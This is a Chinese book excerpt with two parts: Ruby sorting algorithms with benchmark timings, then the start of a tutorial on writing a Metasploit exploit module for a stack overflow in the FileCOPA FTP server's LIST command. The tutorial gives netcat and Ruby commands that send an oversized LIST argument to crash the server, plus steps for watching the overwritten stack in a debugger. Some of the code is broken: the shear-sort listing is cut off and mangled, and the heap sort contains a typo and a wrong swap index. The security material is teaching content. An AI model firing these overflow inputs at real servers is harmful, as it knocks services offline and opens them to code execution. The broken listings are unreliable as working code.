为了确定每种排序方法的结果,我使用了基准测试库。这将使我能够确切地知道算法何时开始排序以及何时停止排序。输出格式将类似于以下内容:
用户 系统 总计 实际 0.406000 0.015000 0.421000 ( 0.437000)
基准测试输出将显示用户 CPU 时间、系统 CPU 时间、消耗的总 CPU 时间,最后是经过的实际时间。时间单位是秒,我们感兴趣的主要值是实际时间。
注意
Ruby 内置了排序方法,quicksort,但以下排序方法会提供其他选项,如果你不使用 Ruby 的排序方法的话。
冒泡排序
冒泡排序
bubbleSort.rb
冒泡排序使用简单的交换方法。这个算法可能是最容易理解的排序方法。正如您将在解释中看到的那样,算法会查看数据集中的前两个元素并比较它们。如果第一个元素大于第二个元素,算法会交换它们。这个过程会继续到数据集中的每一对元素。在数据集的末尾,比较再次开始,并继续进行,直到没有交换发生。
代码
require 'benchmark' def bubble_sort(a) i = 0  while i<a.size j = a.size - 1  while (i < j)  if a[j] < a[j - 1] temp = a[j] a[j] = a[j - 1] a[j - 1] = temp end j-=1 end i+=1 end return a end  big_array = Array.new big_array_sorted = Array.new  IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i }  puts Benchmark.measure {big_array_sorted = bubble_sort(big_array)} File.open("output_bubble_sort.txt","w") do |out|  out.puts big_array_sorted end
运行代码
通过输入以下命令来执行此脚本:
**`ruby bubbleSort.rb`**
结果
该脚本将排序 1,000 个随机数,并将排序后的有序对输出到名为output_bubble_sort.txt的文件中。此外,脚本使用 benchmark 库输出执行脚本所需的时间。
用户 系统 总计 实际 2.125000 0.000000 2.125000 ( 2.140000)
它是如何工作的
脚本分为三个主要部分:所需的库、实际的排序算法以及最后,提供待排序随机数列表的 harness。我想先谈谈 harness,所以我们将从脚本的下半部分开始,然后跳回顶部。
为了加快生成随机数数据集的过程,我使用另一个脚本来创建 1,000 个随机数并将它们写入1000RanNum.txt。^([1]) 该脚本的第一条指令是创建一个数组(称为big_array),它将保存这些数字
。另一个数组被创建来保存排序后的值;这个数组被称为big_array_sorted。接下来,打开包含 1,000 个随机数的文件。文件中每行有一个数字,因此成功打开文件后,每个数字都会被推送到数组中
。
一旦所有数字都添加到big_array中,脚本就准备好开始排序。为了尽可能使这个计时试验尽可能可控(并且不使用我的秒表),我使用了基准库中的measure方法
。本质上,measure将在脚本开始排序数字时启动计时器,然后在排序完成后停止计时器。结果以user, system, total和real times的形式显示。我稍后会回到排序算法,但我们需要看看数据存储在哪里。一旦数字被排序,结果将保存到big_array_sorted并输出到文本文件,output_
。
在measure方法中,脚本调用bubble_sort(a)。如前所述,冒泡排序是一种快速、简单且通用的排序算法,它不考虑效率。你可以将这个算法视为几乎是一种蛮力攻击。当你尝试其他算法时,你将开始欣赏最佳算法的优雅和美丽。但首先,我们从基础知识开始!
一个数组被传递到bubble_sort方法。变量i被初始化,并将作为计数器使用。启动了一个 while 循环,它将隔离数据集中的一个元素
。接下来,在第一个 while 循环内嵌套了一个第二个 while 循环。第二个 while 循环包含了排序的核心
。冒泡排序比较前两个元素,如果第一个大于第二个,则交换值。这个过程用于数据集中的每一对元素
。一旦到达列表的末尾,这个过程将重新开始,直到不再发生交换。如果你将冒泡排序用于随机数字的垂直塔进行可视化,你可以理解这个算法名字的由来。
^([1]) 为了避免影响测试,我使用了章节中所有脚本的相同测试文件。
选择排序
选择排序
selectionSort.rb
选择排序在冒泡排序算法的基础上进行了改进,但它仍然不是效率的巅峰。然而,选择排序在我们的编码工具箱中占有一席之地,因为它可以快速地对小列表进行排序。该算法并不复杂,因此在代码中实现它可以迅速解决排序需求。选择排序不是在数据集中比较两个元素,而是寻找数据集中的最小元素并将其移动到列表的开头。对第二个元素重复相同的过程,依此类推。有趣的是,这个算法也使用交换来进行排序。其他算法的效率可能取决于数据集的起始顺序。也就是说,如果某些列表部分有序,某些算法将获得性能优势,并且不需要移动那么多元素。与选择排序的不同之处在于,这个算法并不关心。它总是有 n 次交换,其中 n 是数据集中的元素数量,这对于最坏情况下的场景来说是非常好的。回到大 O 表示法,这将是大 O(n)。
代码
require 'benchmark' def selection_sort(a)  a.each_index do |i| min_index = min(a, i)  a[i], a[min_index] = a[min_index], a[i] end a end  def min(subset, from)  min_value = subset[from..-1].min  min_index = subset[from..-1].index(min_value) + from return min_index end big_array = Array.new big_array_sorted = Array.new IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i } puts Benchmark.measure {big_array_sorted = selection_sort(big_array)} File.open("output_selectionSort.txt","w") do |out| out.puts big_array_sorted end
运行代码
通过键入以下命令执行此脚本:
**`ruby selectionSort.rb`**
结果
该脚本将排序我们的 1,000 个随机数,并将排序后的有序对输出到名为 output_selectionSort.txt 的文件中。此外,该脚本使用基准库计算执行脚本所用的时间,并将其输出到 $stdout。
用户 系统 总计 实际 0.406000 0.015000 0.421000 ( 0.437000)
工作原理
我已经在之前的例子中讨论了排序脚本的周围部分。如果您有任何问题,请参阅 Bubble Sort 上的 "#52 冒泡排序"。在本章的剩余部分,我将专注于单个排序算法。
选择排序是另一种经典的排序算法,但它的效率略高于冒泡排序。它也有更少的代码行。与本章中看到的其他算法不同,选择排序直接寻找数据集的最小值,而不进行任何预处理。一旦找到最小元素,该元素与数据集的第一个位置交换位置。然后算法寻找数据集中的第二个最小值,并重复此过程,直到所有元素都被使用。
在这个脚本中,第一个显著的不同是创建了一个名为min的另一个方法,selectionSort将使用它从原始数据集的子集中找到最小值
。请记住这个方法,我们稍后会回到它。selectionSort从一个循环开始,该循环将遍历数据集中的每个元素。循环依赖于each_index方法来完成此操作

. 在检索到元素的索引后,立即调用min函数传递索引值。在min函数中,脚本在子集中搜索最小的元素
。一旦找到最小值,就检索其索引并返回给调用方法
。
最后,排序使用典型的 Ruby 交换例程,在最小元素和当前位于其新位置的元素之间进行快速交换
。这个过程会重复进行,直到所有值都被访问。对于一个大小为n的数据集,脚本将执行n次迭代,这使得该算法的性能可预测。
壳排序
壳排序
shellSort.rb
壳排序是一种插入排序算法:一个值被存储到一个临时值中,然后插入到适当的位置。这个算法与传统插入排序的一个区别是,壳排序比较的是相隔几个位置的元素——本质上是在做更大的跳跃。这种微小的变化在最坏的情况下提高了效率。记住,最坏的情况是元素列表完全混乱,无法比当前状态更混乱。
代码
require 'benchmark' def shell_sort(a) i = 0 j = 0 size = a.length  increment = size / 2 temp = 0  while increment > 0 i = increment  while i<size j = i  temp = a[i]  while j>=increment and a[j-increment]>temp a[j] = a[j-increment] j = j-increment end  a[j] = temp i+=1 end if increment == 2 increment = 1 else  increment = (increment/2).to_i end end return a end big_array = Array.new big_array_sorted = Array.new IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i } puts Benchmark.measure {big_array_sorted = shell_sort(big_array)} File.open("output_shell_sort.txt","w") do |out| out.puts big_array_sorted end
运行代码
通过输入以下命令来执行此脚本:
**`ruby shellSort.rb`**
结果
与其他脚本一样,此脚本对 1,000 个随机数进行排序,并将排序后的集合输出到名为 output_shell_sort.txt 的文件中。此外,脚本还使用基准库输出执行脚本所用的时间。
用户 系统 总计 实际 0.047000 0.000000 0.047000 ( 0.047000)
工作原理
Shell 排序通过使用间隔序列改进了插入排序算法,这使得排序算法能够在列表的最终排序上做出更大的改进。这减少了写操作,从而缩短了运行时间。
算法开始时,将一个数组作为唯一参数传递。接下来,初始化几个变量以帮助跟踪排序过程。需要关注的变量是increment
。这个变量将决定之前提到的间隔序列。你可能已经注意到,其结构非常类似于冒泡排序,但在运行时有一些细微的差异。
三个 while 循环中的第一个声明,“只要我们移动的增量大于零,就还有工作要做”
。第二个 while 循环确保i的值保持在数组长度的范围内
。接下来,将数组a中位置i的值存储在一个临时变量中,这样在后续移动中就不会丢失该元素
。
与冒泡排序不同,希尔排序增加了一个第三层 while 循环
。只要变量j大于increment,并且数组位置j-increment的值大于temp变量,则将j-increment处的值插入到数组中。当第三层 while 循环结束时,将temp值放回数组中,并对每个元素重复此过程
。一旦达到数据集的末尾,过程重新开始,并重新计算increment。这个过程一直持续到increment等于零。
归并排序
归并排序
mergeSort.rb
这种排序算法确实如其名称所描述的那样:它合并两个排序元素。算法将主数据集分割成更小的只有一个元素的子集。然后它取第一个和第二个元素进行排序,创建一个子集。将初始子集的结果与下一个元素合并并排序,这个过程递归进行,直到所有元素都合并回主数据集。有趣的是,这个算法是第一个针对显著大的数据集性能进行优化的算法。
代码
require 'benchmark' def merge(a1, a2) ret = [] while (true) if a1.empty? return ret.concat(a2) end if a2.empty? return ret.concat(a1) end  if a1[0] < a2[0] ret << a1[0] a1 = a1[1...a1.size] else ret << a2[0] a2 = a2[1...a2.size] end end end def merge_sort(a)  if a.size == 1 return a  elsif a.size == 2 if a[0] > a[1] a[0], a[1] = a[1], a[0] end return a end  size1 = (a.size / 2).to_i size2 = a.size - size1 a1 = a[0...size1] a2 = a[size1...a.size]  a1 = merge_sort(a1) a2 = merge_sort(a2)  return merge(a1, a2) end big_array = Array.new big_array_sorted = Array.new IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i } puts Benchmark.measure {big_array_sorted = merge_sort(big_array)} File.open("output_merge_sort.txt","w") do |out| out.puts big_array_sorted end
运行代码
执行此脚本的方法:
**`ruby mergeSort.rb`**
结果
该脚本对 1,000 个随机数字进行排序,并将有序集合输出到output_merge_sort.txt文件中。此外,脚本还会打印执行脚本所用的时间,同样依赖于基准库。
用户 系统 总计 实际 0.109000 0.000000 0.109000 ( 0.109000)
工作原理
归并排序由两个方法组成:merge_sort和merge。merge_sort方法负责控制递归拆分并返回最终产品。merge的唯一任务是合并两个数组。由于有大量的递归方法调用,所以请跟随并注意方法调用自身的地方。
merge_sort方法首先检查传递给方法的数组的大小是否等于一
。这是递归停止的条件,因此只有在数据集被拆分成更小的单元素数据集时才会发生。接下来,merge_sort寻找包含两个元素的数组,如果找到,脚本将对其进行排序并返回排序后的两个元素数据集
。如果上述两个条件都不满足,脚本将继续将数组拆分成两个更小的数组
。然后,这些较小的数组被传递回另一个递归merge_sort调用
。
在对两个半部分的merge_sort调用返回后,使用merge方法将那些数据集合并在一起
。在merge过程中,数组会被比较并适当地排序
。对有部分顺序的数组进行排序要比对完全随机的数字排序容易得多。这使得归并排序在每次递归调用中都能保持高效。与冒泡排序的 Big O 表示法相比,其是 O(n²),归并排序是 O(n log n)。通过比较排序时间,你可以看到归并排序要高效得多。
堆排序
堆排序
heapSort.rb
在选择排序的基础上,堆排序更有效地使用了选择,这可以从两个执行时间的比较中看出。堆排序与下一节中展示的快速排序算法相当,但通常快速排序的执行时间会更快。这两种排序算法在最坏情况的 Big O 场景中的区别在于,堆排序优于快速排序。在大多数实现中,最坏情况不是正常情况,因此是否考虑其后果取决于你。
代码
require 'benchmark' def heap_sort(a) size = a.length temp = 0 i = (size/2)-1  while i >= 0 sift_down(a,i,size) i-=1 end i=siz e-1  while i >= 1 a[0], a[1] = a[1], a[0]  sift_down(a, 0, i-1) i-=1 end return a end def sift_down(num, root, bottom) done = false max_child = 0 temp = 0 while root*2 <= bottom and !done  if root*2 == bottom max_child = root * 2  elsif num[root*2].to_i > num[root*2+1].to_i max_child = root * 2  else max_child = root * 2 + 1 end  if num[root] < num[max_child] num[root], num[max_child] = num[max_child], num[root] root = max_child else done = true end end end big_array = Array.new big_array_sorted = Array.new IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i } puts Benchmark.measure {big_array_sorted = heap_sort(big_array)} File.open("output_heap_sort.txt","w") do |out| out.puts big_array_sorted end
运行代码
通过输入以下命令来执行此脚本:
**`ruby heapSort.rb`**
结果
脚本将对随机数数据集进行排序,并将排序后的集合输出到名为 output_heap_sort.txt 的文件中。脚本还会打印执行脚本所用的时间:
用户 系统 总计 实际 0.078000 0.000000 0.078000 ( 0.078000)
工作原理
虽然堆排序的结构与归并排序非常相似,都使用了两种方法来排序元素,但堆排序并不使用递归来实现排序数据集。第一种方法,heapSort,从一个 while 循环开始,调用 sift_down
。这个调用有效地构建了用于排序的堆。sift_down 方法用于创建和操作用于排序数组的堆。堆是一种树形数据结构。如果你不熟悉堆,可以想象一个家族树,顶部有一个节点,下面有父母和子女,代表元素。堆必须有一个 根,即最顶部的元素,以及两个可选的 叶子,即子女。脚本还将数组作为参数传递。
sift_down方法使用三个条件语句来确定元素在堆中的位置。第一个语句检查元素是否在堆的底部
。如果不是,则比较节点的两个子节点。如果元素已经作为子节点排序,则保持顺序
。如果前两个条件都不满足,则该元素必须是子节点,并且不在正确的顺序
。元素应该放置的位置存储在max_child中。有了这些信息,另一个条件语句使用temp变量作为元素移动时将元素移动到正确的顺序
。
回到heapSort方法,初始堆已经创建。因此,算法开始将元素移动到数据集中的最终位置。第二个 while 循环将树的根节点放置在数据集的最后一个位置
。然后调用sift_down方法,使用新的根节点重建树,并对每个元素重复此过程
。将第二个 while 循环想象为从树中弹出根节点,然后重建它,直到所有元素都被弹出。使用堆数据结构使得这个算法能够在短时间内产生大量、排序好的数据集。性能遵循对数线,与之前排序算法的线性线相反。
快速排序
快速排序
quickSort.rb
快速排序在执行速度上非常快;它是迄今为止提出的最快的算法之一,并且恰好是许多编程语言中包含的默认排序方法。这个算法背后的基本逻辑是基于一个pivot 元素对每个元素进行排序。脚本选择一个初始元素作为枢轴元素。然后根据枢轴元素重新排列列表,将每个小于枢轴的元素放在一个列表中,而每个大于枢轴的元素放在另一个列表中。中位数是枢轴元素的最终位置。一旦所有元素都根据这个枢轴排序,这个过程就为每个子列表重复。这个算法被认为是一种分而治之的排序。
代码
require 'benchmark' def quick_sort(f, aArray)  return [] if aArray.empty?  pivot = aArray[0]  before = quick_sort(f, aArray[1..-1].delete_if { |x| not f.call(x, pivot) })  after = quick_sort(f, aArray[1..-1].delete_if { |x| f.call(x, pivot) })  return (before << pivot).concat(after) end big_array = Array.new big_array_sorted = Array.new IO.foreach("1000RanNum.txt", $\ = ' ') {|num| big_array.push num.to_i }  puts Benchmark.measure {big_array_sorted = quick_sort(Proc.new { |x, pivot| x < pivot }, big_array)} File.open("output_quick_sort.txt","w") do |out| out.puts big_array_sorted end
运行代码
通过输入以下命令来执行此脚本:
**`ruby quickSort.rb`**
结果
脚本将对数据集进行排序,并将排序后的结果输出到output_quick_sort.txt文件中,然后报告执行脚本所用的时间:
user system total real 0.094000 0.000000 0.094000 ( 0.094000)
工作原理
快速排序是另一种使用递归来完成排序的算法。排序开始时,会检查数组是否为空
。使用递归时,你必须有一个条件来返回调用方法,而空数组正是这样的条件。接下来,选择一个枢轴——在这个例子中,是传入数组的第一个元素
。
接下来的两行有很多内容,所以我将逐一解释。before和after变量将包含与当前枢轴元素相关的元素。查看before变量,你可以看到quick_sort是递归调用的
。quick_sort方法接受两个参数。第一个是一个proc对象,第二个是一个数组。proc对象是独特的,因为代码块内的局部变量绑定到对象上,并且可以在多个上下文中调用代码来检索绑定的变量。proc最初是在测试框架中的第一个quick_sort调用中创建的
。它用于比较一个元素与选定的枢轴元素。
传递给 quick_sort 的第二个参数是数据集数组。在递归调用中,第二个参数实际上是一个包含原始数据集子集的数组。排序使用数组内的一个范围并调用 delete_if 方法。这个方法确实如它的名字所暗示的那样做。在这种情况下,如果数组中的值大于枢轴值,则这些值会被删除。call 方法调用之前定义的 proc 对象,并实际执行比较。最终传递的数组将包含所有小于枢轴值的值。对于 after 变量来说,情况正好相反。将 proc 对象和列表中小于枢轴元素的每个变量传递过去。将两半拆分,直到枢轴值成为唯一剩余的元素。随着每次返回,枢轴值被添加到 before 数组中,after 数组被连接。在将数组拆分到单个元素并在上升过程中对其进行排序后,数组在最终的 before/pivot/after 连接上完全排序!
。
拉伸排序
拉伸排序
shearSort.rb
拉伸排序非常高效,但仅在并行处理器上。当你看到基准输出时,你会注意到比其他排序更高的时间。然而,当使用多个处理器操作时,会创建一个 二维网格。二维网格的优势在于可以在行和列上同时进行排序——每个时钟周期你得到两次排序!这个算法是分而治之的完美例子。
代码
`
class Shear_sort def sort(a) div = 1 i = 1
while i * i <= a.length if a.length % i == 0 div = i end i += 1 end @rows = div @cols = a.length/div
@log = Math.log(@rows).to_i @log.times do (@cols / 2).times do @rows.times do |i| part1_sort(a, i@cols, (i+1)@cols, 1, i % 2 == 0) end @rows.times do |i| part2_sort(a, i@cols, (i+1)@cols, 1, i % 2 == 0) end end end (@rows / 2).times do @cols.times do |i| part1_sort(a, i, @rows@cols+i, @cols, true) end @cols.times do |i| part2_sort(a, i, @rows@cols+i, @cols, true) end end end (@cols / 2).times do @rows.times do |i| part1_sort(a, i@cols, (i+1)@cols, 1, true) end @rows.times do |i| part2_sort(a, i@cols, (i+1)@cols, 1, true) end end return a end
def part1_sort(ap_array, a_low, a_hi, a_nx, a_up) part_sort(ap_array, a_low, a_hi, a_nx, a_up) end def part2_sort(ap_array, a_low, a_hi, a_nx, a_up) part_sort(ap_array, a_low + a_nx, a_hi, a_nx, a_up) end def part_sort(ap_array, j, a_hi, a_nx, a_up)
while (j + a_nx) < a_hi
if((a_up && ap_array[j] > ap_array[j+a_nx]) || !a_up && ap_array[j] <
运行代码
通过输入以下命令来执行此脚本:
**`ruby shearSort.rb`**
结果
该脚本将随机数进行排序,并将排序后的数据输出到 output_shear_sort.txt 文件中,然后输出执行脚本所用的时间:
用户 系统总时间 实际时间 4.875000 0.000000 4.875000 ( 4.875000)
工作原理
到目前为止,每种排序方法都针对单处理器架构进行了优化。剪切排序利用了多处理器的效率。如上所述,创建了一个二维网格,变量 @rows 和 @cols 跟踪网格。排序方法被组合在一个名为 Shear_sort 的类中
。该类由四个方法组成,但其中两个方法(part1_sort 和 part2_sort)几乎是相同的。我们将首先分析的方法是 sort。这个方法负责调用另外两个排序方法,并像管理者一样控制所有已排序的部分。该方法首先定义了一些变量,用于在创建二维网格时保存信息。
第一个 while 循环用于进行一些设计二维网格所需的计算
。这些操作告诉脚本网格中将有多少行。使用行数除以数据集长度将得出需要多少列来创建二维网格。二维网格的尺寸存储在 @rows 和 @cols 中。
接下来,计算 @log。这个计算是数据集长度的对数方法(此方法在 Math 库中找到)
。@log 将用于限制我们循环通过前两次排序迭代次数的次数。这个 @log 循环开始排序过程,也是我们第一次调用 part1_sort 和 part2_sort
。这里有很多嵌套循环,所以请注意排序的顺序是先按行排序,然后按列排序。行的排序实际上是交替方向进行的,这就是 part1_sort 的最后一个参数发挥作用的地方。偶数行从左到右排序,奇数行则相反排序。不过,不用担心,我们接下来要看的最后一个 while 循环会纠正这种交替排序。列也在第三个 while 循环中排序,但每次都是同一方向排序。这个过程以 log(n) 或 @log 的次数执行。
在 @log 循环结束后,还需要进行另一轮循环来完成数据集的排序
。记住,行的排序是使用交替排序完成的;这次,排序是按同一方向进行的。最后的排序是从上面的行排序循环中复制过来的。唯一的不同之处在于传递给 part1_sort 和 part2_sort 的最后一个参数指定为 true。再次强调,这个循环进一步排序数据集,更重要的是,最终确定原始数据集中所有元素的位置。
我只描述part1_sort,因为,正如我之前提到的,它与part2_sort几乎相同。不用担心——我会指出这些差异,以防你错过了。如果有多个处理器可用,第一部分和第二部分的排序可以同时进行,这将使得对大数据集进行快速排序变得非常短。part1_sort方法接受五个参数:一个数组、一个低值、一个高值、一个列和一个布尔值
。这两个part排序之间的区别在于第二个参数的计算。如果你追踪part_sort的方法,你会看到变量j。这个变量与正在操作的数据集的部分相关,这就是两个part排序之间的区别
。如果你在算法的中间查看数据集,你不会看到一个二维数组。相反,二维网格完全基于元素的位置。如果网格有五列和五行,那么每隔第五个元素将是列的开始,而中间的元素将代表行的部分。现在,如果你看到元素比较并想知道为什么算法正在比较元素之间的距离,你就会知道原因了!
如果布尔参数为true,且索引较低的元素大于索引较高的元素,则交换这两个值。如果布尔参数为false,且索引较低的元素小于索引较高的元素,则同样如此。如果这两个条件都不成立,while 循环将继续执行
。通过使用if语句,可以实现交替排序。
一旦所有循环都运行完毕,数组将被排序。存储在变量a中的数组将返回给调用函数。总的来说,这个排序有很多代码,但效率确实非常显著。
关于效率的注意事项
效率可能是在你编写或撰写应用程序时考虑过的问题,也可能没有。然而,我敢打赌,如果你要编写任何可扩展的内容,效率就会变得重要。说实话,你可以使用本章中介绍的任何算法来对包含 10 个元素的数组进行排序,你不会注意到任何性能差异。那么,如果你开始对包含 10,000 个元素的数组进行排序呢?100,000 个元素呢?性能问题将变得更加明显。你应该根据你编写的脚本的情况和上下文来决定使用哪种排序算法。经验将帮助你更深入地了解完成这项工作的最佳工具。
在讨论效率问题时,排序算法并不是提高脚本中效率的唯一途径。搜索算法、处理向量、逻辑检查或条件循环都可以被仔细审查以寻找提高效率的方法。通常解决一个问题的方法不止一种;如果你不知道完成特定任务的最佳方式,可以尝试几种不同的方法,并使用基准测试库来帮助你比较不同方法的结果。不要仅仅停留在排序算法上,要全面考虑你正在编写的代码,看看是否有更高效完成目标的方法。
第十章。使用 Ruby 编写 Metasploit 3.1 模块

本书的前几章已经致力于我所谓的主流 Ruby 脚本编程。Ruby 是我的一大爱好,信息安全也是另一个,所以我决定写一章将它们结合起来。这一章是使用 Metasploit 框架(MSF)进行漏洞利用开发的逐步指南。
在以下示例中,我使用了一个我在开源漏洞数据库(www.osvdb.org/)上找到的漏洞。我们不会自己发现漏洞,但关于这个主题有许多其他书籍和文章。如果你喜欢这里看到的内容,那么你应该看看模糊测试和软件逆向工程,因为这些都是发现漏洞的主要方法之一。
到本章结束时,你将知道如何使用 Ruby 和 MSF 的强大功能编写一个针对闭源 FTP 服务器的有效漏洞利用。
当我读到 Metasploit 团队决定完全用 Ruby 重写 MSF 时,我几乎不敢相信。(MSF 2.0 使用 Perl 作为其基础。)Perl 和 Ruby 的一个很好的特性是它们都是平台无关的,因此 Windows 和类 Unix 操作系统都能够使用这个框架。我对这个话题很兴奋,让我们开始吧!
Metasploit 简介
MSF 是一个编写漏洞利用、快速切换有效载荷和管理被利用系统的优秀工具。为了确保我们使用的是同一种语言,漏洞利用是指攻击者获取系统控制权的方法——利用软件漏洞的代码。有效载荷是在利用后希望在目标机器上执行的代码:它可能是一个绑定 shell,每次攻击者连接到受害机器上的特定端口时,都会启动一个命令提示符,或者它可能只是简单地添加一个用户到受害机器上。如果你浏览一个漏洞库网站,如www.milw0rm.com/,你会发现大多数漏洞利用在代码顶部都有一些有效载荷。这些漏洞利用只做一件事,因此并不非常灵活。如果你需要一个不同的有效载荷,你必须每次重写漏洞利用来添加新的有效载荷,并调整缓冲区大小,以确保漏洞利用能够正常工作。这个过程可能很繁琐。
MSF 根据用户输入动态创建有效载荷;一旦在 MSF 中编写了攻击代码,切换有效载荷就变得非常简单。除了 MSF 的核心之外,还有其他工具和辅助模块在攻击开发和渗透测试期间非常有用,例如侦察、协议模糊测试、拒绝服务和漏洞扫描。我鼓励您超越框架中包含的攻击。许多 MSF 用户了解 MSF 的基础知识,但不知道如何创建自己的模块。本章将向您展示 MSF 的真正优势——定制攻击。
安装
我将使用两个不同的系统作为示例。一个是 Windows XP 机器(攻击者),另一个是 Windows 2000 机器(受害者)。对于这个示例,物理网络布局并不重要。我使用了虚拟化网络,但您也可以在一个机器上安装应用程序,或者使用两台独立的计算机。至于操作系统,由于攻击中使用的库,受害者必须是 Windows 2000 机器。一旦您编写了攻击代码,攻击机器可以运行 Metasploit 支持的任何操作系统,几乎涵盖了所有操作系统。选择权在您手中;结果将相同。
为了跟随本章内容,您需要在您的计算机上安装一个完整的 MSF 3.1 版本,您可以从 www.metasploit.com/framework/ 获取。请确保您选择适合您操作系统的 Metasploit 版本。我将参考 Windows 安装,但其他操作系统的安装过程将与 Metasploit 的智能设计相似。
在攻击机器上安装 MSF 后,通过选择 开始 ► 程序 ► Metasploit 3 ► Metasploit 3 GUI 来启动框架。(为了跟随教程,非 Windows 用户应启动 Metasploit 3 GUI。)
MSF 有四种操作框架的方式:Metasploit 3 Web、图形用户界面 (GUI)、命令行界面 (CLI) 和 控制台。控制台和 CLI 都是文本界面。Metasploit 3 Web 界面和 GUI 是图形界面,在攻击过程中具有不同程度的粒度。GUI 将是我们本章使用的界面。
在 MSF 2.0 中,我几乎完全使用控制台,但在 3.1 版本中我切换到了 GUI,因为界面非常干净且易于使用,功能与控制台相当。了解如何操作 MSF 控制台将更好地理解框架,然后切换控制台和 GUI 将变得无缝。
到目前为止,您已安装 MSF 3.1 并可以无错误地启动 Metasploit 3 GUI。启动框架后,您应该看到一个弹出窗口,加载 MSF(见 图 10-1)。如果由于某种原因没有弹出窗口,请检查 MSF 日志中是否有任何错误。

图 10-1. Metasploit GUI
当应用程序加载完成后,你会注意到几个带有不同标题的窗格:Exploits/Auxiliary, Jobs, Module Information/Output和Sessions。你可以在每个窗格中点击查看框架的各个部分。如果你已经到了这一步,那么你的 MSF 安装是成功的,我们可以继续编写漏洞利用。如果你是第一次使用 MSF,那么在回到这一节之前,花点时间浏览一下并熟悉一下界面。
编写模块
上次我检查时,该框架附带超过 450 个漏洞利用和 104 个有效载荷,以帮助用户进行安全研究。由于安全社区的定期更新,有效载荷和漏洞利用的数量会有所变化。包含的漏洞利用基于已知的和有文档记录的漏洞,因此针对完全更新的系统会让用户和框架感到沮丧……也就是说,除非用户知道如何编写自己的模块.^([2])
MSF 3.1 附带 450 个漏洞利用,位于*msf3.tar\msf3\modules\exploits*。
模块的目录结构组织得非常好;例如,要在 Windows 机器上找到一个 FTP 漏洞利用,你会在windows文件夹中查找,然后是ftp。
我们将要利用的目标程序是 2006 年 7 月 18 日之前发布的 FileCOPA FTP Server 版本 1.01。通过谷歌搜索可以找到有漏洞的程序。该 FTP 软件在 Windows 平台上运行,并提供 FTP 服务。我们将利用的漏洞存在于传递给LIST函数的参数的不当边界检查中。该漏洞是公开的,可以在开源漏洞数据库网站上找到关于“FileCOPA FTP Server LIST 命令溢出”的警告(osvdb.org/show/osvdb/27389/)。
已经为这个漏洞编写了几个概念验证漏洞利用,所以这个漏洞利用不会为安全世界带来任何新内容。然而,通过了解如何创建自己的 MSF 模块,你将能够开发其他未记录的漏洞利用。此模块最近被添加到 MSF 3.1 安装中。如果你使用的是 MSF 的旧版本(3.1 之前),则可以将模块添加到你的 MSF 库中。
^([2]) MSF 委婉地称漏洞利用为“模块”。当你看到MSF 模块时,我们实际上在谈论 MSF 中的漏洞利用。
构建漏洞利用
如我之前所述,FileCOPA FTP 服务器在其LIST函数中存在漏洞。通过针对运行有漏洞应用程序的机器并发送一个专门定制的LIST命令到服务器,我们可以在远程机器上执行任意代码。这对于渗透测试员或安全研究员来说是一个很好的位置。为了测试这个漏洞,向服务器发送LIST命令,后面跟着重复 1000 次的字母 A(1000 是任意的;命令只需要足够长以触发溢出)。结果将是一个死掉的 FTP 服务器。重复的A导致服务器崩溃,因为A覆盖了堆栈上的重要数据。
为了演示服务器崩溃,我们将使用 MSF 附带的一个工具,名为 netcat。该工具位于开始 ► 程序 ► Metasploit 3 ► 工具 ► Netcat,但也可以作为独立程序下载。netcat 的基本描述是它是一个网络实用程序,用于在网络上读取和写入数据——完美!我们将通过网络向 FTP 服务器读写数据。要开始 FTP 会话,请运行以下命令(您可以通过选择开始 ► 运行,输入cmd并按回车键来访问命令提示符)。
**`nc -vv 127.0.0.1 21`** localhost [127.0.0.1] 21 (ftp) open USER anonymous 220-InterVations FileCOPA FTP Server Version 1.01 220 Trial Version. 30 days remaining **`LIST -l 'A'x1000`**
服务器崩溃是因为它只期望与文件或目录列表相关的输入。为了验证服务器是否崩溃,尝试建立另一个连接。当我们向 FTP 服务器发送垃圾数据(例如,'A' x 1000)时,受害应用程序会尝试存储所有输入并在堆栈上覆盖自身。这被称为基于堆栈的缓冲区溢出。数据覆盖的重要性在于程序覆盖了一个用于指向执行下一个指令的地址。如果我们覆盖执行下一个地址,我们可以让程序执行我们的代码。
有几种方法可以发送大的 A 字符串。一种方法如上所示使用 netcat。您也可以使用 Perl,例如perl -e "print'A'x1000",或者您可以使用 Ruby。无论您选择哪种方式,都会产生相同的效果。使用 Ruby,您可以输入类似以下的内容:
**`require 'net/ftp'`** **`Net::FTP.open('127.0.0.1') do |ftp|`** **` ftp.login`** **` ftp.list('A' + 'A'*1000)`** **`end`**
如果您再次运行 netcat 或 Ruby 的代码片段,您将收到一个错误消息,因为客户端将无法连接到崩溃的 FTP 服务器。这就是我们攻击的开始。我们仍然需要更多信息来构建一个成功的利用,这引导我们进入下一步。
实时观察
要实时看到 FTP 服务器崩溃,并跟踪栈上的情况,你需要一个调试器。我偏爱 OllyDbg (www.ollydbg.de/),但 Immunity, Inc.最近发布了 Immunity Debugger (www.immunitysec.com/products-immdbg.shtml/),据说是很好的。选择一个调试器,并将其安装在托管 FTP 服务器的计算机上。
观察程序崩溃并不复杂;第一步是重启 FTP 服务器。然后启动 OllyDbg。当 OllyDbg 打开后,选择文件 ► 附加。一个运行进程列表将弹出一个新窗口。列表将包含在托管 FTP 服务器的系统上当前运行的所有进程(即,受害者系统)。滚动进程列表以找到名为filecpt的 FileCOPA FTP 服务器。这是 FTP 服务器进程,但它不是我们要找的。如果你连接到 FTP 服务器,在 FTP 服务器发送任何数据包之前,将产生一个新的子进程。这是我们想要附加的进程。它被称为filecpnt。高亮显示进程并点击附加按钮。现在 OllyDbg 将监控 FTP 连接,并在 FileCOPA FTP 程序崩溃或出现错误时通知你。
返回到你的攻击机器,你应该已经连接到 FTP 服务器。剩下要做的就是发送上面显示的恶意LIST命令,使用 netcat 或 Ruby。一旦发送了LIST命令,OllyDbg 应该会在受害者计算机上弹出,底部右角有一个明亮的黄色框,上面写着暂停。底部左角应该包含显示文本执行[41414141]时发生访问违规。41是字母A的十六进制表示——我们刚刚在栈上破坏的那个字母!这是个令人兴奋的消息;现在我们正在取得进展。看看 OllyDbg 中的栈,位于程序右下角的面板(图 10-2)。你会看到很多重复的41414141。这是我们通过LIST命令发送的数据。

